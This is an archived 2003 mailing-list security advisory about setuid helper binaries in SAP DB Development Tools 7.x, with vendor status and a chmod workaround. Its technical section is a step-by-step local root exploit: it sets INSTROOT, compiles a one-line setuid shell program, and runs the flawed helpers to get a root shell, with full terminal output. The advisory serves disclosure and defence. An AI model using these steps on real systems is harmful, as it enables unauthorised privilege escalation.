[VulnWatch] SRT2003-04-22-1336 - SAP DB Development Tools install flaw

From: KF (dotslash@snosoft.com)
Date: 04/22/03

  • Next message: Carsten H. Eiram: "[VulnWatch] Secunia Research: Xeneo Web Server URL Encoding Denial of Service"
    Date: Tue, 22 Apr 2003 14:00:58 -0500
    From: KF <dotslash@snosoft.com>
    To: bugtraq@securityfocus.com
    
    
    

    http://www.secnetops.biz/research

    
    

    Secure Network Operations, Inc. http://www.secnetops.com
    Strategic Reconnaissance Team research@secnetops.com
    Team Lead Contact kf@secnetops.com

    Our Mission:
    ************************************************************************
    Secure Network Operations offers expertise in Networking, Intrusion
    Detection Systems (IDS), Software Security Validation, and
    Corporate/Private Network Security. Our mission is to facilitate a
    secure and reliable Internet and inter-enterprise communications
    infrastructure through the products and services we offer.

    Quick Summary:
    ************************************************************************
    Advisory Number : SRT2003-04-22-1336
    Product : SAP DB Development Tools
    Version : Version 7.x
    Vendor : sapdb.org
    Class : local
    Criticality : High (to SAP servers with local user access)
    Operating System(s) : Linux (other unix based?)

    High Level Explanation
    ************************************************************************
    High Level Description : Helper programs provide users with root access
    What to do : chmod -s /path/to/DevTool/bin/instdbmsrv and
    chmod -s /path/to/DevTool/bin/instlserver

    Technical Details
    ************************************************************************
    Proof Of Concept Status : No PoC needed for this issue.
    Low Level Description :

    Two helper applications that come with the SAP Development Tools use user
    supplied data to chmod and chown a certain file while still running as root.

    The old installation instructions which can be found in Googles cache at
    http://216.239.33.100/search?q=cache:jQ-xlRsQeYAC:www.sapdb.org/develop/dev_linux.htm
    told the user to install the SAP Development Tools as follows:

    You Are Here: SAP DB > 7.3 > Development > Development (Linux/UNIX)
    ...
    Installing the SAP DB Development Environment in Linux/UNIX
    ...
    Installing the Development Environment Package

       1. Download the tgz package. (sapdb-devtools-linux-i386.tgz)
          Check whether your browser changes the package extension from tgz to tar
          during the download. If so, rename the package to tgz before installing it.
       2. Extract the archive to its final destination.
          The directory DevTool is created.
       3. Run the Perl script DevTools/installtools.pl.
          This creates a file DevTool/iprofile.tmp.
          Note:
          The script expects to find the Perl and Python executables in your $PATH.
       4. Execute the following commands as user root.
          chown root <...>/DevTool/bin/instdbmsrv
          chmod 4775 <...>/DevTool/bin/instdbmsrv
          chown root <...>/DevTool/bin/instlserver
          chmod 4775 <...>/DevTool/bin/instlserver

          Both the DBM server and the Replication Manager server must run as user root.
          The files instdbmsrv and instlserver set the appropriate permissions every
          time these programs are built.

    The above text has since been replaced with an identical page with step 4 omitted.

    The reason step 4 was removed is expressed below.

    If you followed the install instructions you would have done the following.
    gentoo root # cd /usr
    gentoo usr # tar -zxvf /root/sapdb-devtools-linux-i386-*.tgz
    gentoo usr # chown root /usr/DevTool/bin/instdbmsrv
    gentoo usr # chmod 4775 /usr/DevTool/bin/instdbmsrv
    gentoo usr # chown root /usr/DevTool/bin/instlserver
    gentoo usr # chmod 4775 /usr/DevTool/bin/instlserver

    The install has obviously left suids laying around.
    rootme@gentoo rootme $ find /usr/DevTool/ -perm -4000
    /usr/DevTool/bin/instdbmsrv
    /usr/DevTool/bin/instlserver
    rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instdbmsrv
    -rwsrwxr-x 1 root 998 13089 Jan 30 08:31 /usr/DevTool/bin/instdbmsrv
    rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instlserver
    -rwsrwxr-x 1 root 998 13274 Jan 30 08:31 /usr/DevTool/bin/instlserver

    It appears that we need to set the INSTROOT env variable to use these binaries.
    rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
    INSTROOT not set

    Thats weird... I wonder what it is trying to chown.
    rootme@gentoo rootme $ export INSTROOT=~
    rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
    chown root failed

    It appears to chown root $INSTROOT/pgm/lserver.
    rootme@gentoo rootme $ ltrace /usr/DevTool/bin/instlserver
    ...
    getenv("INSTROOT") = "/home/rootme"
    strlen("/home/rootme") = 12
    strlen("/pgm/lserver") = 12
    ...
    strcat("/home/rootme", "/pgm/lserver") = "/home/rootme/pgm/lserver"
    ...
    chown("/home/rootme/pgm/lserver", 0, 0) = -1
    fprintf(0x4014e480, "chown root failed\n"chown root failed

    Lets create the file that it wants to chown and check the results.
    rootme@gentoo rootme $ mkdir pgm
    rootme@gentoo rootme $ touch /home/rootme/pgm/lserver
    rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
    -rw-r--r-- 1 rootme users 0 Apr 22 12:02 /home/rootme/pgm/lserver

    As you can see the program becomes root owned as well as suid.
    rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
    rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
    -rwsrwxrwx 1 root root 0 Apr 22 12:02 /home/rootme/pgm/lserver

    If we ltrace the program as root we can see it is obvious what caused this.
    gentoo root # export INSTROOT=/home/rootme
    gentoo root # ltrace /usr/DevTool/bin/instlserver
    ...
    chown("/home/rootme/pgm/lserver", 0, 0) = 0
    chmod("/home/rootme/pgm/lserver", 04777) = 0

    To take advantage of this flaq simply create a trojaned $INSTROOT/lserver
    rootme@gentoo rootme $ echo main\(\)\{setuid\(0\)\;setgid\(0\)\;system\(\"/bin/sh\"\)\;\} > lserver.c
    rootme@gentoo rootme $ cc -o pgm/lserver lserver.c
    rootme@gentoo rootme $ ls -al pgm/lserver
    -rwxr-xr-x 1 rootme users 5344 Apr 22 12:51 pgm/lserver

    Take root by abusing the above mentioned flaw.
    rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
    rootme@gentoo rootme $ ls -al pgm/lserver
    -rwsrwxrwx 1 root root 5344 Apr 22 12:51 pgm/lserver
    rootme@gentoo rootme $ pgm/lserver
    sh-2.05b# id
    uid=0(root) gid=0(root) groups=100(users)

    This can be modified to work with DevTool/bin/instdbmsrv as well
    rootme@gentoo rootme $ echo main\(\)\{setuid\(0\)\;setgid\(0\)\;system\(\"/bin/sh\"\)\;\} > dbmsrv.c
    rootme@gentoo rootme $ cc -o pgm/dbmsrv dbmsrv.c
    rootme@gentoo rootme $ ls -al pgm/dbmsrv
    -rwxr-xr-x 1 rootme users 5343 Apr 22 12:54 pgm/dbmsrv
    rootme@gentoo rootme $ /usr/DevTool/bin/instdbmsrv
    rootme@gentoo rootme $ ls -al pgm/dbmsrv
    -rwsrwxrwx 1 root root 5343 Apr 22 12:54 pgm/dbmsrv
    rootme@gentoo rootme $ pgm/dbmsrv
    sh-2.05b# id
    uid=0(root) gid=0(root) groups=100(users)

    Patch or Workaround : chmod -s /path/to/DevTool/bin/instdbmsrv and
    chmod -s /path/to/DevTool/bin/instlserver

    SAP made it clear that normal users should not have local access to the SAP server
    when I pointed out a previous security issue. The same logic applys here however
    this does not lessen the result of this problem.

    I would also like to state that SAP has gone out of the way to make security
    contacts easier for SAP and non-SAP users. This effort was primarily the work
    of Daniel Dittmar.

    Vendor Status : Vendor has responded and applied a fix to the problem.
    http://listserv.sap.com/pipermail/sapdb.sources/2003-April/000142.html

    To make reporting similar problems easier, every page on www.sapdb.org now has
    a link 'Contact Info', the corresponding page http://www.sapdb.org/7.4/sap_db_contact.htm
    contains an entry labled 'Security'.

    Bugtraq URL : to be assigned

    ------------------------------------------------------------------------
    This advisory was released by Secure Network Operations,Inc. as a matter
    of notification to help administrators protect their networks against
    the described vulnerability. Exploit source code is no longer released
    in our advisories. Contact research@secnetops.com for information on how
    to obtain exploit information.


  • Next message: Carsten H. Eiram: "[VulnWatch] Secunia Research: Xeneo Web Server URL Encoding Denial of Service"

    Relevant Pages

    • SRT2003-04-22-1336 - SAP DB Development Tools install flaw
      ... Secure Network Operations offers expertise in Networking, ... Corporate/Private Network Security. ... Execute the following commands as user root. ... rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instlserver ...
      (Bugtraq)
    • [Full-Disclosure] SRT2003-04-22-1336 - SAP DB Development Tools install flaw
      ... Secure Network Operations offers expertise in Networking, ... Corporate/Private Network Security. ... Execute the following commands as user root. ... rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instlserver ...
      (Full-Disclosure)
    • Re: Isolation of the Root CA
      ... A lot has to do with the complexity of your network and your security needs. ... Certificate Authorities with maybe six or eight issuing CA's for various ... > One major thing I can't seem to grasp is the installation of the Root CA. ...
      (microsoft.public.win2000.security)
    • Re: [opensuse] Should openSUSE review its Security Policies?
      ... Adding a wireless network. ... KDE3has never asked the root password for adding a new ... I think the entire point here is that the multi-user security model is ... fit for a single user device like a laptop. ...
      (SuSE)